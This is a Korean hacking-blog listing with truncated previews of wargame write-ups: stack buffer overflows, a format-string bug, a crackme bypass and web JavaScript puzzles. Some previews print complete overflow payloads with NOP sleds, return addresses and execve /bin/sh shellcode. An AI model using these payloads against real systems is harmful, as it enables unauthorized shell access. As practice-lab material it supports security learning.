목록해킹 (27)
ii4gsp
파일 두개를 모두 다운받아 분석해보자 #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } gets()함수에서 받는 데이터의 크기를 제한하지지 않고 문자를 입력받아 취약점이 발견하는걸 알수있다. 버퍼 오버플로우를 발생시켜 키값을 0xcafebabe로 해주면 문제가 풀릴것이다. overflowme는 ebp-[0x2c]로부..
프로그램의 등록키를 물어본다. 프로그램을 다운받고 실행해보자. 이름과 시리얼값이 일치해야 한다. 일치하지않으면 에러가 뜬다. UPX 패킹이 되어있다. upx 패커로 언패킹해주자. 올리디버거로 파일을 열고 Search for -> All referenced text strings를 클릭해주자 아까 보았던 에러 문자가 있다. 코드가 실행되는 부분으로 이동해주기 위해 더블클릭을 해주자. Registered User를 EDX에 저장하고 난다음 호출하는 함수에 break point를 걸고 파일을 실행해주자 키 값은 1111이라는 아무 값이나 주자 F7로 함수내부에 들어와보면 EAX와 EDX가 값을 비교한다. EAX, EDX레지스터의 값을 확인해보자 EAX에는 우리가 입력한 "Unregistered..."이 있고 ..
#include #include #include #include int target; void printbuffer(char *string) { printf(string); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printbuffer(buffer); if(target == 0x01025544) { printf("you have modified the target :)\n"); } else { printf("target is %08x :(\n", target); } } int main(int argc, char **argv) { vuln(); } target의 값을 0x01025544로 바꿔줘야 한다. 문자 AAAA를..
47번째 바이트가 \xff가 아니여야 하고 48번째 바이트가 \xbf가 되게 해야한다. ret의 주소가 0xbfff로 시작하면 \xff가 걸리기때문에 0xbfff이면 안된다. 파일을 /tmp 디렉토리에 복사해주고 gdb로 열어보자 strcpy() 함수가 호출되고 바로 다음 명령인 부분에 break point를 걸어주자 스택은 높은 주소부터 낮은 주소로 자라기 때문에 매개변수의 전달 값의 크기가 클수록 낮은 주소에 자리를 잡는다. \xbf 조건을 맞춰주고 argv[2]에 A 십만개를 스택에 채워 낮은 주소로 이동하였다. 주소가 0xbffe로 시작한다. 아무 주소나 ret로 잡고 페이로드를 작성하면 된다. payload ./vampire $(python -c 'print "\x90" * 44 + "\xe8\..
자바 스크립트 문제인것 같다. Start를 눌러주자 qr코드가 나온다 qr코드를 클릭하면 qr가 움직인다 qr코드를 직접 맞추는건 시간이 오래걸린다 F12를 눌러 소스코드를 보자. unescape('.%2f%69%6d%67%2f%71%72%2e%70%6e%67') 이라는 코드가 있다. .%2f%69%6d%67%2f%71%72%2e%70%6e%67 이 것을 unescape하면 해당 join_img의 주소가 나온다는 의미이다. console창에 복사해주면 ./img/qr.png라는 경로가 나온다 저 경로로 이동해주자. 완성된 qr코드가 나와있다. online qr decoder 사이트에서 경로를 복사해서 제출해주면 qr코드의 경로가 나온다. 경로를 복사해서 이동 해주면된다.
버튼을 클릭하라고 한다. 일단 Start를 눌러주자 click me!라는 버튼이있는데 마우스 커서와 위치가 맞지않아 클릭이 되지않는다. F12를 눌러 소스코드를 보면 ?key=85e4라는 경로로 이동한다. 현재 주소에서 ?key=85e4를 추가해주겠다.
이전 문제와 크게 달라진건 없다 하지만 맨 밑줄 buffer 40byte를 모두 0으로 초기화 해준다. 문제푸는 방식은 이전 문제와 동일하다. 이전의 스택구조와 동일하다 i _____ buffer ______ SFP ______ RET strcpy()호출 다음인 에 break point를 걸어주고 0xbffffab4를 ret로 잡고 페이로드를 작성해주었다. payload ./wolfman $(python -c 'print "\xbf" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
memset() 함수로 환경변수 메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다. argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다. gdb로 분석해보면 스택의 구조는 i _______ buffer ________ SFP ________ RET ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 에 break point를 걸었다. ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다. payload ./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89..